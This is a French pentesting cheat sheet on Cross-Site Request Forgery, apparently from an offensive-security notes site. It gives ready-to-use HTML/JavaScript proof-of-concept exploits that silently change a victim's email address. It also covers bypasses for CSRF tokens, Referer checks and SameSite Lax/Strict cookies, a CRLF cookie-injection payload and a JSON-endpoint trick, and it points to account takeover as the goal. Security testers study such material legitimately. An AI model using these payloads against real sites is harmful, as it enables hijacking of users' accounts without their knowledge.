🎣CSRF
Cross Site Request Forgery
Sites:
https://security.love/CSRF-PoC-Genorator/: Générateur en ligne de PoC CSRF.
Mindmap
Prérequis:
Une action pertinente. Il y a une action dans l'application que l'attaquant a une raison d'induire. Il peut s'agir d'une action privilégiée (telle que la modification des autorisations d'autres utilisateurs) ou de toute action sur des données spécifiques à l'utilisateur (telle que la modification du mot de passe de l'utilisateur).
Gestion de session basée sur les cookies. L'exécution de l'action implique l'émission d'une ou plusieurs requêtes HTTP, et l'application s'appuie uniquement sur les cookies de session pour identifier l'utilisateur qui a fait les requêtes. Il n'existe aucun autre mécanisme en place pour suivre les sessions ou valider les demandes des utilisateurs.
Aucun paramètre de demande imprévisible. Les requêtes qui exécutent l'action ne contiennent aucun paramètre dont les valeurs ne peuvent pas être déterminées ou devinées par l'attaquant. Par exemple, en incitant un utilisateur à changer son mot de passe, la fonction n'est pas vulnérable si un attaquant a besoin de connaître la valeur du mot de passe existant.
Principe
Exemple de modification d'email:
POST /changeemailaddress HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
[email protected]Exploit: (Test dans un fichier html en local)
<html>
<body>
<form action="https://target.com/changeemailaddress" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Si la victime se rend sur le site web de l'attaquant contenant cet exploit, une requête HTTP sera envoyé à l'url "https://target.com/changeemailaddress" préremplie avec l'email de l'attaquant ([email protected]).
Si la victime a une session active sur le site target.com, l'action sera alors faite via son compte et son adresse mail sera alors remplacé par celle de l'attaquant.
Bypass de jeton CSRF
Tenter d'utiliser une autre méthode HTTP que celle utilisée.
Supprimer le paramètre "csrf" de la requête.
Utiliser son propre jeton CSRF à la place de celui de la cible.
Si le site Web contient un comportement qui permet à un attaquant de placer un cookie dans le navigateur d'une victime, L'attaquant peut se connecter à l'application à l'aide de son propre compte, obtenir un jeton valide et un cookie associé, placer son cookie dans le navigateur de la victime et transmettre son jeton à la victime lors de son attaque CSRF. (CRLF + CSRF)
Si le site utilise un header X-Csrf-Token, le remplacer par "1".
<img src="https://target.com/+<CRLF payload> onerror="document.forms[0].submit()">Exemple:
<html>
<body>
<img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<KEY>%3b%20SameSite=None" onerror="document.forms[0].submit()">
<form action="https:///target.com/changeemailadress" method="POST">
<input type="hidden" name="email" value="test2@test.com" />
<input type="hidden" name="csrf" value="123XYZ" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>Bypass de vérification de l'en-tête referer
Si le site se fie à l'en-tête referer pour valider si le site de l'attaquant fait partie d'une whitelist ou non, on peu essayer d'ajouter une balise <meta> "no-referrer" à notre PoC.
<html>
<meta name="referrer" content="no-referrer">
<body>
<form action="https://target.com/changeemailaddress" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Cela suffit parfois à bypass la liste blanche mise en place.
On peut aussi utiliser un nom de domaine tel que https://target.com.attacker.com pour tenter de bypass la regex vérifiant le domaine de confiance.
Bypass de cookie SameSite Lax
Via method override
Exemple:
<script>
document.location="https://target.com/[email protected]&_method=POST
</script>Bypass de cookie SameSite Strict
Via paramètre acceptant du path traversal ou vulnerable à open redirect
Exemple:
<script>
document.location="https://target.com/example/path?parameter=../../changeemailaddress?email=attacker%40mail.xyz%26submit=1"
</script>XSS+CSRF => Account takeover
Parfois, il est également possible de coupler une injection XSS (permettant de voler le token CSRF de la victime) et une CSRF avec XMLHttpRequest afin de parvenir souvent à la prise de contrôle d'un compte à haut privilèges.
CSRF sur endpoint JSON
Avec ACAO sur *
Dans le générateur de PoC CSRF de burp, dans options utiliser la technique "Cross-domain XHR" et set xhr.withcredentials dans le payload sur false si le true ne fonctionne pas.
Avec Content-Type: text/plain
<html>
<body>
<form action="https://target.com/changeemailaddress" method="POST">
<input type="hidden" name='{"username":"evil","email":"[email protected]","foo' value='":"test"}' />
</form>
</body>
</html>Impacts possibles
Fuites de données sensibles
Enregistrement de Self-XSS dans le navigateur de la victime
Account takeover
Dernière mise à jour
Cet article vous a-t-il été utile ?